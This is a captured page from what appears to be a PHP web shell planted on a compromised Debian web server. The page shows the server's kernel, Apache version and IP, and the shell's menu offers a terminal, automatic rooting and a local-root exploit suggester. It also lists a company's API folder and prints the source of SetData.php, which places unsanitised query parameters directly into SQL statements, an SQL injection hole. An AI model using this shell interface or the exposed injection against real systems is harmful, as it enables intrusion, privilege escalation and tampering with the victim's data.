Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
webedi.bdcloud.fr /
api /
itm /
Delete
Unzip
Name
Size
Permission
Date
Action
BulkInsertions.php
5.74
KB
-rw-r--r--
2022-11-29 10:11
EquilibreData.php
2.07
KB
-rw-r--r--
2022-11-25 12:43
GetSupplierData.php
1.57
KB
-rw-r--r--
2022-10-24 10:25
InjectionScript.php
2.05
KB
-rw-r--r--
2022-11-08 12:29
InsertNewSupplier.php
5.98
KB
-rw-r--r--
2024-01-10 11:02
RefreshList.php
8.74
KB
-rw-r--r--
2022-11-17 12:58
SetData.php
4.19
KB
-rw-r--r--
2022-10-24 18:12
SetProjectContact.php
1.61
KB
-rw-r--r--
2022-11-16 10:31
SetTags.php
3.75
KB
-rw-r--r--
2022-11-09 10:41
Save
Rename
<?php /*===================================================================*\ ======================================================================= ==== API ITM ==== ==== Set Data ==== ==== Parametre : GlN, Subject, TypeDoc, Text ==== ==== Date : 29/09/2022 ==== ======================================================================= How to use : Ticket ------ Parametres : gln=3010878800100 subject= prise de contact, relance, test-mep, monitoring, echanges type_doc=ticket content=message du ticket https://webedi.bdcloud.fr/api/itm/SetData.php?gln=3010878800100&subject=echanges&type_doc=ticket&content=msg ======================================================================= Taches ------ Parametres : gln=1000250088000 subject= prise de contact, relance, test-mep, monitoring, echanges type_doc=tache content=01_00_00 (HH_MM_SS) https://webedi.bdcloud.fr/api/itm/SetData.php?gln=1000250088000&subject=echanges&type_doc=tache&content=01_00_00 *\===================================================================*/ if(isset($_GET['gln'])) { $path = dirname(__FILE__) . '/'; require_once($path . "../../master.inc.php"); $gln = $_GET['gln']; $subject = $_GET['subject']; $type_doc = $_GET['type_doc']; $content = $_GET['content']; if($type_doc === "ticket"){ $get_ticketID = "SELECT rowid FROM `llx_ticket` WHERE fk_soc = (select rowid from llx_societe where barcode='".$gln."' limit 1) and subject like '%".$subject."%'"; $resGetData = $db->query($get_ticketID); $data = $db->fetch_object($resGetData); $ticketID = $data->rowid; if($ticketID){ $sql = "INSERT INTO `llx_actioncomm`(`entity`, `datep`, `datep2`, `fk_action`, `code`, `datec`, `tms`, `fk_user_author`, `fk_user_action`, `priority`, `visibility`, `label`, `note`, `fk_element`, `elementtype`) VALUES (5,NOW(),NOW(),50,'TICKET_MSG',NOW(),NOW(),1,1,0,'default','[STIME - Ticket #".$gln."] Nouveau message','".$content."',".$ticketID.",'ticket')"; $result = $db->query($sql); if($result){ echo "200 : Ticket event created."; } }else{ echo "404 : Ticket not found for this Supplier !"; } }else if ($type_doc === "tache"){ //Build prefix if ($subject == "prise de contact"){ $prefix = "1";} if ($subject == "relance"){ $prefix = "2";} if ($subject == "test-mep"){ $prefix = "3";} if ($subject == "monitoring"){ $prefix = "4";} if ($subject == "echanges"){ $prefix = "5";} //Convert received time to seconds for dolibarr $time = timeToSeconds($content); //Get task ID $get_tacheID = "select rowid from llx_projet_task where ref = 'TA-".$gln."-".$prefix."'"; $resGetTache = $db->query($get_tacheID); $dataTache = $db->fetch_object($resGetTache); $TacheID = $dataTache->rowid; if($TacheID){ // Insert new task time $TaskQuery = "INSERT INTO `llx_projet_task_time`(`fk_task`, `task_date`, `task_datehour`, `task_date_withhour`, `task_duration`, `fk_user`, `tms`, `note`) VALUES (".$TacheID.",NOW(),NOW(),NOW(),".$time.",4,NOW(),'');"; $resultTask = $db->query($TaskQuery); if($resultTask){ echo "200 : Task timing created."; } }else{ echo "404: Task TA-".$gln."-".$prefix." not found !"; } }else{ echo "502 : Type Document is not good !"; } }else{ echo "502 : No parameters found. please check the GLN, Subject, Type_doc, Content"; die(); } // Convert time received to second, time format HH_MM_SS function timeToSeconds(string $time): int { $arr = explode('_', $time); if (count($arr) === 3) { return $arr[0] * 3600 + $arr[1] * 60 + $arr[2]; } return $arr[0] * 60 + $arr[1]; } /*====================================================================*\ \*====================================================================*/ ?>